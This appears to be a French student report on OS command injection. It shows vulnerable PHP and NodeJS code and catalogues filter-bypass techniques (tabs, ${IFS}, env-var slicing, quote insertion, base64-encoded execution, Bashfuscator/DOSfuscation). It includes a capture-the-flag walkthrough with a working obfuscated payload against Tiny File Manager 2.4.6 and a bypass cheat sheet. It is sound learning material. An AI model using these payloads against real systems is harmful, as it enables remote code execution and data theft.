Pourquoi j'ai choisi cette vulnérabilité et que fait-elle#
Les vulnérabilités d'injection sont classées au troisième rang des risques dans le Top 10 de l'OWASP et je pense que durant le cours nous avons pas assez aborder les possibilités existantes quant à l'exploitation de cette vulnérabilité, surtout qu'elle peut avoir un fort impact si un système est vulnérable.
Une injection survient lorsqu'une entrée contrôlée par l'utilisateur est interprétée comme-si elle faisait partie de la requête web ou du code exécuté, ce qui peut permettre de détourner le résultat de la requête.
Il existe de nombreux types d'injections présents dans les applications web, qui varient selon le type de requête exécutée.
Voici quelques-uns des types d'injections les plus courants :
| Type d'Injection | Description |
|---|---|
| OS Command Injection (Injection de commandes système) | Survient lorsque l'entrée utilisateur est utilisée directement comme partie intégrante d'une commande du système d'exploitation (OS). |
| Code Injection (Injection de code) | Survient lorsque l'entrée utilisateur se trouve directement au sein d'une fonction qui évalue/exécute du code (ex: eval()). |
| SQL Injection (Injection SQL) | Survient lorsque l'entrée utilisateur est utilisée directement comme partie intégrante d'une requête SQL. |
| Cross-Site Scripting (XSS) / HTML Injection | Survient lorsque l'entrée utilisateur est affichée telle quelle (sans nettoyage) sur une page web. |
Il y a aussi d'autres types d'injections en dehors de celles mentionnées ci-dessus, telles que :
LDAP injectionNoSQL InjectionHTTP Header Injection- '
XPath Injection IMAP InjectionORM Injection
Chaque fois qu'une entrée utilisateur est utilisée au sein d'une requête sans être correctement assainie, il est potentiellement possible de s'échapper des limites de la chaîne de caractères fournie pour atteindre la requête parente et la manipuler afin d'en modifier l'objectif initial. C'est pourquoi, à mesure que de nouvelles technologies web sont intégrées aux applications, nous verrons apparaître de nouveaux types d'injections.
J'ai préféré m'intéréssé uniquement aux injections d'OS pour ce rapport :
Exemple de code PHP vulnérable#
Par exemple, une application web écrite en PHP peut utiliser les fonctions exec, system, shell_exec, passthru ou popen pour exécuter des commandes directement sur le serveur en back-end, chacune ayant un cas d'utilisation légèrement différente.
Le code suivant est un exemple de code PHP vulnérable aux injections de commandes :
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>On voit que l'application web dispose d'une fonctionnalitée permettant aux utilisateurs de créer un nouveau document .pdf généré dans le répertoire /tmp avec un nom de fichier choisi par l'utilisateur. Comme l'entrée utilisateur provenant du paramètre filename dans la requête GET est utilisée directement avec la commande touch, l'application web devient vulnérable à l'injection de commandes OS. Cette faille peut être exploitée pour exécuter des commandes système arbitraires sur le serveur.
Exemple de code NodeJS vulnérable#
Ce problème n'est pas exclusif à PHP, mais il peut survenir dans n'importe quel framework ou langage de développement web. Par exemple, si une application web est développée en NodeJS, un développeur peut utiliser child_process.exec ou child_process.spawn dans le même but.
app.get("/createfile", function(req, res){
child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})Le code ci-dessus est également vulnérable à une injection de commande, car il utilise le paramètre filename de la requête GET comme partie intégrante de la commande sans l'assainir au préalable. Les applications web PHP et NodeJS peuvent être exploitées en utilisant les mêmes méthodes d'injection de commandes.
D'autres langages de programmation web possèdent des fonctions similaires et, s'ils sont vulnérables, ils peuvent être exploités via les mêmes méthodes d'injection de commandes. Les vulnérabilités d'injection de commandes ne sont pas uniques aux applications web ; elles peuvent également affecter d'autres binaires et clients lourds s'ils transmettent une entrée utilisateur à une fonction exécutant des commandes système, ce qui peut aussi être exploité avec les mêmes méthodes.
Injection de commandes#
Si j'essaie d'envoyer les commandes sur un site web, j'obtiens ce message d'erreur :

L'application refuse mon input, elle semble accepter uniquement des chiffres sous le format d'une IP. Heuresement, il est courant que les développeurs ne procèdent à la validation des entrées qu'au niveau du front-end et non au niveau du back-end.
Je vais donc tenter de contourner le message d'erreur avec Burp Suite en interceptant une requête réelle et en entrant la commande cela peut bypass le filtre.
Poc: 
Comment bypass les filtres#
Contourner les espaces blacklistés#
Utiliser des tabs#
Si un espace est blacklisté, je peux utiilser des tabs (%09) à la place des espaces. Linux et Windows acceptent les commandes contenant des tabulations entre les arguments et les exécutent de la même manière.
Je vais essayer d'utiliser une tabulation au lieu du caractère espace (127.0.0.1%0a%09) pour voir si ma requête est acceptée :

Utiliser des accolades#
Il existe de nombreuses autres méthodes exploitables pour contourner les filtres sur les espaces. Par exemple, je peux aussi ajouter des espaces entre les arguments placés entre accolades, de la manière suivante :
{ls,-la}
total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..Cela execute ls -la sans avoir à mettre un espace
Utiliser $IFS#
L'utilisation de la variable d'environnement Linux ($IFS) peut également fonctionner, car sa valeur par défaut est composée d'un espace et d'une tabulation, ce qui convient parfaitement entre les arguments d'une commande.
Je peux donc utiliser ${IFS} et là où les espaces devraient se trouver, la variable sera automatiquement remplacée par un espace et notre commande devrait s'exécuter.
J'utilise ${IFS} pour voir si cela fonctionne (127.0.0.1%0a${IFS}) :
Pareil ça fonctionne. La requête n'a pas été refusée et nous avons réussi à contourner une nouvelle fois le filtre sur les espaces.
D'autres méthodes#
Pour découvrir davantage de méthodes de contournement des filtres sur les espaces, j'ai trouvé la page de PayloadsAllTheThings sur l'écriture de commandes sans espaces.
Contourner la liste noire des caractères#
Sur Linux#
Si nous examinons la variable d'environnement $PATH sous Linux, elle ressemble généralement à ceci :
echo ${PATH}Je commence donc au caractère 0 et que je prend qu'une chaîne de longueur 1, j'obtiens uniquement le caractère / :
echo ${PATH:0:1}
Résultat : /Je peux faire la même chose avec les variables d'environnement $HOME ou $PWD. Nous pouvons également utiliser ce même concept pour obtenir un point-virgule (;), afin de l'utiliser comme opérateur d'injection.
echo ${LS_COLORS:10:1}
Résultat : ;Essayons donc d'utiliser les variables d'environnement pour ajouter un point-virgule et un espace à notre payload (en utilisant 127.0.0.1${LS_COLORS:10:1}${IFS}) et voyons si nous parvenons à contourner le filtre :

Par exemple, si je veux executer ls -la

${LS_COLORS:10:1}%0a{ls,-la}${IFS}${PATH:0:1}homeSur Windows#
Pour générer un slash (\) dans le CMD, j'utilise echo sur une variable Windows (%HOMEPATH% → \Users\jeremy), puis spécifier une position de départ (~6 → \jeremy), et enfin spécifier une position de fin négative correspondant à la longueur du nom d'utilisateur jeremy (-11 → \) :
echo %HOMEPATH:~6,-11%
Résultat : \Sous PowerShell :
$env:HOMEPATH[0]
Résultat : \Je peux également utiliser la commande PowerShell Get-ChildItem Env: pour lister toutes les variables d'environnement, puis en choisir une pour extraire le caractère dont nous avons besoin.
Décalage de caractères#
Il existe d'autres techniques pour produire les caractères requis sans les utiliser directement, comme le décalage de caractères. Par exemple, la commande Linux suivante décale d'un rang (1) le caractère que nous lui transmettons. Il suffit donc de trouver le caractère dans la table ASCII qui précède celui dont nous avons besoin (utilisez man ascii), puis de l'insérer à la place de [ dans l'exemple ci-dessous. De cette façon, le dernier caractère affiché sera celui souhaité :
man ascii # \ est à 92, avant lui se trouve [ à 91
$ echo $(tr '!-}' '"-~'<<<[)
Résultat : \Contourner les commandes blacklistés#
Un filtre basique de liste noire en PHP ressemblerait à ceci :
$blacklist = ['whoami', 'cat', ...SNIP...];
foreach ($blacklist as $word) {
if (strpos($_POST['ip'], $word) !== false) {
echo "Invalid input";
}
}Linux & Windows#
Une technique d'obfuscation très courante et simple consiste à insérer certains caractères au sein de notre commande. Ces caractères sont généralement ignorés par les interpréteurs de commandes comme Bash ou PowerShell, et la commande s'exécutera exactement comme s'ils n'étaient pas là. Parmi ces caractères, on trouve le guillemet simple ' et le guillemet double ".
Si nous voulons obfusquer la commande whoami, nous pouvons insérer des guillemets simples entre ses lettres, comme suit :
w'h'o'am'iCela fonctionne également avec les guillemets doubles :
w"h"o"am"iLes points importants à retenir sont que nous ne pouvons pas mélanger les types de guillemets et que le nombre de guillemets doit être pair.
Essayons l'une de ces méthodes dans notre payload (127.0.0.1%0aw'h'o'am'i) pour voir si elle fonctionne :

Uniquement sur Linux#
Nous pouvons insérer quelques autres caractères spécifiques à Linux au milieu des commandes ; le shell bash les ignorera et exécutera la commande normalement. Ces caractères incluent l'antislash \ et le paramètre positionnel $@. Cela fonctionne exactement comme avec les guillemets, mais dans ce cas, le nombre de caractères n'a pas besoin d'être pair, et nous pouvons n'en insérer qu'un seul si nous le souhaitons :
who$@ami
w\ho\am\iUniquement sur Windows#
Il existe également des caractères propres à Windows que nous pouvons insérer au milieu des commandes sans en affecter le résultat, comme le caractère d'échappement "caret" (^), comme nous pouvons le voir dans l'exemple suivant :
who^ami
cat est bloqué, je dois donc obfusquer l'entrée avec par exemple $@ pour voir le flag.

Obfuscation de commandes#
Manipulation de la casse (Majuscules/Minuscules)#
Une autre technique consiste à envoyer une commande avec une casse mélangée (ex: WhOaMi). Comme les systèmes Linux sont sensibles à la casse, la commande échouera à moins que nous ne la reconvertissions en minuscules avant l'exécution :
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")Une fois que nous remplaçons les espaces par des tab (%09), nous constatons que la commande fonctionne parfaitement :

ou
$(a="WhOaMi";printf %s "${a,,}")Commandes inversées#
###### Sous Linux
Une autre technique consiste à écrire votre commande à l'envers, puis à utiliser un outil pour la remettre dans l'ordre juste avant l'exécution. Par exemple, la commande rev inverse une chaîne de caractères :
echo 'whoami' | revRésultat : imaohwEnsuite, nous pouvons exécuter la commande originale en l'inversant de nouveau dans un sous-shell ($()), de la manière suivante :
$(rev<<<'imaohw')
###### Sous Windows
En PowerShell, nous pouvons inverser une chaîne de caractères en utilisant des index négatifs, puis la joindre pour former une commande exécutable
"whoami"[-1..-20] -join ''ou, pour l'exécuter directement avec iex (Invoke-Expression) :
iex "$('imaohw'[-1..-20] -join '')"Commandes encodées 🔥#
Nous pouvons utiliser divers outils d'encodage, comme base64 (pour l'encodage b64) ou xxd (pour l'encodage hexadécimal). Prenons base64 comme exemple. Tout d'abord, nous encodons le payload que nous voulons exécuter (qui contient des caractères filtrés) :
echo -n 'cat /etc/passwd | grep 33' | base64Nous pouvons maintenant créer une commande qui décodera cette chaîne dans un sous-shell ($()), puis la transmettra à bash pour exécution (via bash<<<), comme suit :
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)Résultat :
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinAstuce : Notez que nous utilisons<<<(here-string) pour éviter d'utiliser le pipe|, qui est souvent un caractère filtré.

###### Sur Windows
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))Nous pouvons également obtenir le même résultat pour une cible Windows depuis Linux, mais nous devrons convertir la chaîne de caractères du format utf-8 vers le format utf-16le avant de l'encoder en base64, comme suit :
echo -n whoami | iconv -f utf-8 -t utf-16le | base64Enfin, nous pouvons décoder la chaîne en base64 et l'exécuter à l'aide d'un sous-shell PowerShell (iex "$()"), de la manière suivante :
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"En plus des techniques que nous avons abordées, nous pouvons utiliser de nombreuses autres méthodes, telles que les caractères génériques (wildcards), les expressions régulières (regex), la redirection de sortie, l'expansion d'entiers, et bien d'autres encore. Vous pouvez trouver certaines de ces techniques sur la page PayloadsAllTheThings.
Outils d'obfuscation#
Linux (Bashfuscator)#
Bashfuscator est un outil très pratique pour obfusquer des commandes Bash :
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --userUtilisation :
./bashfuscator -c 'cat /etc/passwd'
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
${*/+27\[X\(} ...SNIP... ${*~}
[+] Payload size: 1664 charactersCependant, utiliser l'outil de cette manière choisira aléatoirement une technique d'obfuscation, ce qui peut générer une commande dont la longueur varie de quelques centaines de caractères à plus d'un million ! Nous pouvons donc utiliser certains drapeaux (flags) du menu d'aide pour produire une commande obfusquée plus courte et plus simple :
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 charactersNous pouvons maintenant tester la commande générée avec bash -c '' pour vérifier qu'elle exécute bien la commande prévue :
bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bashWindows (DOSfuscation)#
Il existe également un outil très similaire pour Windows appelé DOSfuscation. Contrairement à Bashfuscator, il s'agit d'un outil interactif : on le lance une fois, puis on interagit avec lui pour obtenir la commande obfusquée souhaitée. Nous pouvons à nouveau cloner l'outil depuis GitHub et l'appeler via PowerShell :
PS C:\jeremy> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\jeremy> cd Invoke-DOSfuscation
PS C:\jeremy> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\jeremy> Invoke-DOSfuscationInvoke-DOSfuscation> SET COMMAND type C:\Users\jeremy\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1Enfin, nous pouvons essayer d'exécuter la commande obfusquée dans une invite CMD, et nous constatons qu'elle fonctionne effectivement comme prévu :
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xtJ'obtiens donc le flag.
Lab POC de la vulnérabilitée#
1. Reconnaissance et Identification du vecteur#
Le but est de lire le fichier /flag.txt situé à la racine d'une application web.
Une fois authentifié en tant que guest sur l'app Tiny File Manager 2.4.6, j'ai exploré les fonctionnalités permettant d'interagir avec le système de fichiers. Le tableau de bord révèle que l'application tourne sur un système Linux.

J'ai identifié une fonctionnalité intéressante : "Copy to...". Elle permet de copier un fichier existant vers une nouvelle destination.
- Source : Un fichier légitime (ex:
51459716.txt).
- Destination : Contrôlée par l'utilisateur.
Je suspecte que cette fonction appelle une commande système (probablement cp ou mv) en concaténant les entrées utilisateurs. Si c'est le cas, c'est un point d'entrée pour un pentester.
2. Détection de la vulnérabilité#
J'ai intercepté la requête POS avec Burp pour analyser les paramètres. Le paramètre vulnérable semble être to (le chemin de destination).
J'ai tenté une injection basique avec un séparateur de commande ; ou & : to=tmp/test;&whoami
L'application m'a renvoyé une erreur générique ou "Invalid Input", suggérant qu'un WAF ou une **liste noire est en place pour filtrer les entrées.
3. Fuzzing des filtres#
Pour construire mon payload final, j'ai dû identifier exactement quels caractères étaient bloqués. J'ai procédé par élimination :
- Opérateurs de commande : Le point-virgule
;et le pipe|semblaient bloqués. Cependant, l'opérateur de background&(encodé en%26) a provoqué un comportement différent (délai ou erreur différente), indiquant qu'il pourrait être interprété.
- Espaces : L'insertion d'espaces classiques (
%20) déclenchait le filtre.
- Slash (
/) : Impossible de spécifier un chemin absolu comme/bin/bash, le caractère/est interdit.
- Mots-clés : Des commandes comme
cat,whoamioulssont détectées et bloquées.
4. Construction du Payload#
Sur la base de ces contraintes, j'ai construit mon payload étape par étape pour contourner chaque filtre identifié :
- Séparateur : Utilisation de
&(URL-encoded%26) pour chaîner ma commande après la commande de copie initiale.
- Contournement de l'espace : Remplacement de l'espace par une tabulation (Tab), encodée en
%09.
- Technique :
127.0.0.1%09idau lieu de127.0.0.1 id.
- Contournement du mot-clé
cat: Utilisation de l'insertion de guillemets simples (Quotes) pour briser la signature du mot sans changer son exécution par le shell.
- Technique :
c'a'test interprété commecatpar Bash.
- Contournement du Slash
/: Utilisation de l'expansion de variable d'environnement Bash. La variable${PATH}commence par un/. En prenant le premier caractère (offset 0, longueur 1), on génère un slash dynamiquement.
- Technique :
${PATH:0:1}équivaut à/.
5. Exploitation finale#
Payload final décodé : & c'a't <TAB> /flag.txt
Payload injecté (URL Encoded & Obfusqué) :
%26c'a't%09${PATH:0:1}flag.txtRequête HTTP complète :
POST /index.php HTTP/1.1
Host: 94.237.59.180:56891
Content-Type: application/x-www-form-urlencoded
...
to=%26c'a't%09${PATH:0:1}flag.txt&from=51459716.txt&finish=1&move=1Résultat : La réponse du serveur contient le contenu du fichier flag.txt dans la sortie standard, confirmant l'exécution du code à distance (RCE) et la compromission du système.

Cheatsheet complète de ce que j'ai appris (en anglais)#
| Injection Operator | Injection Character | URL-Encoded Character | Executed Command | |
|---|---|---|---|---|
| Semicolon | ; | %3b | Both | |
| New Line | \n | %0a | Both | |
| Background | & | %26 | Both (second output generally shown first) | |
| Pipe | `\ | ` | %7c | Both (only second output is shown) |
| AND | && | %26%26 | Both (only if first succeeds) | |
| OR | `\ | ` | %7c%7c | Second (only if first fails) |
| Sub-Shell | | %60%60 | Both (Linux-only) | |
| Sub-Shell | $() | %24%28%29 | Both (Linux-only) |
| Injection Type | Operators | |
|---|---|---|
| SQL Injection | ' , ; -- /* */ | |
| Command Injection | ; && | |
| LDAP Injection | * ( ) & `\ | ` |
| XPath Injection | ' or and not substring concat count | |
| OS Command Injection | ; & `\ | ` |
| Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ | |
| Directory Traversal/File Path Traversal | ../ ..\\ %00 | |
| Object Injection | ; & `\ | ` |
| XQuery Injection | ' ; -- /* */ | |
| Shellcode Injection | \x \u %u %n | |
| Header Injection | \n \r\n \t %0d %0a %09 |
Linux#
Filtered Character Bypass#
| Code | Description |
|---|---|
printenv | Can be used to view all environment variables |
| Spaces | |
%09 | Using tabs instead of spaces |
${IFS} | Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $()) |
{ls,-la} | Commas will be replaced with spaces |
| Other Characters | |
${PATH:0:1} | Will be replaced with / |
${LS_COLORS:10:1} | Will be replaced with ; |
$(tr '!-}' '"-~'<<<[) | Shift character by one ([ → \) |
Blacklisted Command Bypass#
| Code | Description | ||
|---|---|---|---|
| Character Insertion | |||
' or " | Total must be even | ||
$@ or \ | Linux only | ||
| Case Manipulation | |||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") | Execute command regardless of cases | ||
$(a="WhOaMi";printf %s "${a,,}") | Another variation of the technique | ||
| Reversed Commands | |||
| `echo 'whoami' \ | rev` | Reverse a string | |
$(rev<<<'imaohw') | Execute reversed command | ||
| Encoded Commands | |||
| `echo -n 'cat /etc/passwd \ | grep 33' \ | base64` | Encode a string with base64 |
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) | Execute b64 encoded string |
Windows#
Filtered Character Bypass#
| Code | Description |
|---|---|
Get-ChildItem Env: | Can be used to view all environment variables - (PowerShell) |
| Spaces | |
%09 | Using tabs instead of spaces |
%PROGRAMFILES:~10,-5% | Will be replaced with a space - (CMD) |
$env:PROGRAMFILES[10] | Will be replaced with a space - (PowerShell) |
| Other Characters | |
%HOMEPATH:~0,-17% | Will be replaced with \ - (CMD) |
$env:HOMEPATH[0] | Will be replaced with \ - (PowerShell) |
Blacklisted Command Bypass#
| Code | Description |
|---|---|
| Character Insertion | |
' or " | Total must be even |
^ | Windows only (CMD) |
| Case Manipulation | |
WhoAmi | Simply send the character with odd cases |
| Reversed Commands | |
"whoami"[-1..-20] -join '' | Reverse a string |
iex "$('imaohw'[-1..-20] -join '')" | Execute reversed command |
| Encoded Commands | |
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) | Encode a string with base64 |
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" | Execute b64 encoded string |